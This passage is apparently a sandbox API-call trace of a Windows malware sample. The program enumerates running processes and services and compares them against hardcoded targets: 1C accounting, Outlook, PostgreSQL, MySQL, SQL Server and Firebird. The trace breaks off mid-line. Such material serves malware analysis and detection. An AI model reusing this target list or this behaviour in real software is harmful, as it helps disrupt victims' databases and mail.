5 [0162.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0162.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0162.990] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0162.990] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0162.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0162.990] lstrlenW (lpString="WdiServiceHost") returned 14 [0162.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0162.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0162.991] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0162.991] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0162.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0162.991] lstrlenW (lpString="WdiSystemHost") returned 13 [0162.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0162.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0162.991] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0162.991] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0162.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0162.991] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0162.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0162.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0162.991] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0162.991] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0162.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0162.991] lstrlenW (lpString="Winmgmt") returned 7 [0162.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0162.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0162.991] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0162.991] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0162.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0162.991] lstrlenW (lpString="WPDBusEnum") returned 10 [0162.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0162.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0162.991] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0162.991] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0162.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0162.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3bf64f8 | out: hHeap=0x630000) returned 1 [0162.991] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e4 [0162.993] Process32FirstW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.993] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0162.994] lstrlenW (lpString="System") returned 6 [0162.994] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0162.994] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0162.994] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0162.994] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0162.994] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0162.994] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0162.994] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0162.994] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0162.994] lstrlenW (lpString="smss.exe") returned 8 [0162.994] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0162.994] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0162.994] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0162.994] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0162.994] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0162.994] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0162.994] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0162.994] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.995] lstrlenW (lpString="csrss.exe") returned 9 [0162.995] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0162.995] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0162.995] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0162.995] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0162.995] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0162.995] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0162.995] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0162.995] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0162.995] lstrlenW (lpString="wininit.exe") returned 11 [0162.995] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0162.995] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0162.995] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0162.995] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0162.995] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0162.995] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0162.996] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0162.996] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.996] lstrlenW (lpString="csrss.exe") returned 9 [0162.996] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0162.996] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0162.996] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0162.996] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0162.996] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0162.996] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0162.996] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0162.996] lstrlenW (lpString="winlogon.exe") returned 12 [0162.996] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0162.997] lstrlenW (lpString="services.exe") returned 12 [0162.997] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0162.997] lstrlenW (lpString="lsass.exe") returned 9 [0162.997] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0162.997] lstrlenW (lpString="lsm.exe") returned 7 [0162.997] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.998] lstrlenW (lpString="svchost.exe") returned 11 [0162.998] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.998] lstrlenW (lpString="svchost.exe") returned 11 [0162.998] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.998] lstrlenW (lpString="svchost.exe") returned 11 [0162.998] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.999] lstrlenW (lpString="svchost.exe") returned 11 [0162.999] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.999] lstrlenW (lpString="svchost.exe") returned 11 [0162.999] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0162.999] lstrlenW (lpString="audiodg.exe") returned 11 [0162.999] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.000] lstrlenW (lpString="svchost.exe") returned 11 [0163.000] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0163.000] lstrlenW (lpString="explorer.exe") returned 12 [0163.000] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0163.000] lstrlenW (lpString="dwm.exe") returned 7 [0163.001] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.001] lstrlenW (lpString="svchost.exe") returned 11 [0163.001] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0163.001] lstrlenW (lpString="n.exe") returned 5 [0163.001] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0163.002] lstrlenW (lpString="spoolsv.exe") returned 11 [0163.002] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.002] lstrlenW (lpString="svchost.exe") returned 11 [0163.002] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0163.002] lstrlenW (lpString="taskhost.exe") returned 12 [0163.002] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0163.003] lstrlenW (lpString="reader_sl.exe") returned 13 [0163.003] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0163.003] lstrlenW (lpString="n.exe") returned 5 [0163.003] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0163.003] lstrlenW (lpString="dllhost.exe") returned 11 [0163.003] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0163.004] lstrlenW (lpString="n.exe") returned 5 [0163.004] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0163.004] CloseHandle (hObject=0x2e4) returned 1 [0163.004] Sleep (dwMilliseconds=0x1f4) [0163.665] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3bf62d8 [0163.665] EnumServicesStatusExW (in: hSCManager=0x3bf62d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0163.666] GetLastError () returned 0xea [0163.666] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x687228 [0163.666] EnumServicesStatusExW (in: hSCManager=0x3bf62d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x687228, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x687228, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0163.667] CloseServiceHandle (hSCObject=0x3bf62d8) returned 1 [0163.667] lstrlenW (lpString="Appinfo") returned 7 [0163.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0163.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0163.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0163.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0163.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0163.667] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0163.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.667] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0163.667] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0163.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0163.667] lstrlenW (lpString="AudioSrv") returned 8 [0163.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0163.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0163.668] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0163.668] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0163.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0163.668] lstrlenW (lpString="BFE") returned 3 [0163.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0163.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0163.668] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0163.668] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0163.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0163.668] lstrlenW (lpString="CryptSvc") returned 8 [0163.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0163.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0163.668] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0163.668] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0163.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0163.668] lstrlenW (lpString="CscService") returned 10 [0163.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0163.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0163.668] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0163.668] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0163.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0163.668] lstrlenW (lpString="DcomLaunch") returned 10 [0163.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.668] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0163.668] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0163.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0163.668] lstrlenW (lpString="Dhcp") returned 4 [0163.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0163.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0163.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0163.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0163.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0163.669] lstrlenW (lpString="Dnscache") returned 8 [0163.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0163.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0163.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0163.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0163.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0163.669] lstrlenW (lpString="DPS") returned 3 [0163.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0163.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0163.669] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0163.669] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0163.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0163.669] lstrlenW (lpString="eventlog") returned 8 [0163.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0163.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0163.669] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0163.669] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0163.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0163.669] lstrlenW (lpString="EventSystem") returned 11 [0163.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0163.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0163.669] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0163.669] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0163.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0163.669] lstrlenW (lpString="gpsvc") returned 5 [0163.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0163.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0163.670] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0163.670] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0163.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0163.670] lstrlenW (lpString="iphlpsvc") returned 8 [0163.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0163.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0163.670] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0163.670] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0163.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0163.670] lstrlenW (lpString="LanmanServer") returned 12 [0163.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0163.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0163.670] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0163.670] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0163.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0163.670] lstrlenW (lpString="LanmanWorkstation") returned 17 [0163.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0163.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0163.670] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0163.670] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0163.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0163.670] lstrlenW (lpString="lmhosts") returned 7 [0163.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0163.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0163.670] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0163.670] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0163.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0163.670] lstrlenW (lpString="MMCSS") returned 5 [0163.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0163.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0163.671] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0163.671] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0163.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0163.671] lstrlenW (lpString="MpsSvc") returned 6 [0163.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0163.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0163.671] lstrcmpiW (lpString1="sqlwriter", 